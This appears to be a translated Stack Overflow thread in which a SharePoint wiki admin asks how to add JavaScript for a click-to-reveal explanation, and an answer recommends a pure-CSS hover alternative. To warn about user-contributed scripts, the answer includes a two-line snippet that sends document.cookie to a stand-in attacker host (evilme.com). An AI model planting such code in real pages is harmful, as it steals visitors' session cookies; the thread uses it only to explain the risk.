Aid*_*enn 6 html javascript sharepoint wiki
作为维基管理员,我如何将脚本(Javascript)输入到Sharepoint维基页面?
我想输入一个标题,当点击它时,在它下面显示一个小解释.我通常用javascript,其他任何想法做到这一点?
pco*_*ran 10
如果维基作者是明智的,那么可能无法做到这一点.
用户贡献的JavaScript的问题在于它为所有形式的恶意者打开了大门,以便从毫无戒心的数据中获取数据.
让我们假设邪恶的我在公共网站上发布一个脚本:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
Run Code Online (Sandbox Code Playgroud)
现在,我将收到页面上每个访问者的cookie信息,发布到我服务器上的日志中.这只是冰山一角.
假设您是 wiki 的管理员,并且愿意在鼠标悬停而不是单击时显示此内容,则您根本不需要 javascript - 您可以直接使用 CSS。以下是样式和标记的示例:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
通过一些更复杂的样式,您的工具提示框可以看起来像您想要的那样漂亮。
| 归档时间: |
|
| 查看次数: |
15580 次 |
| 最近记录: |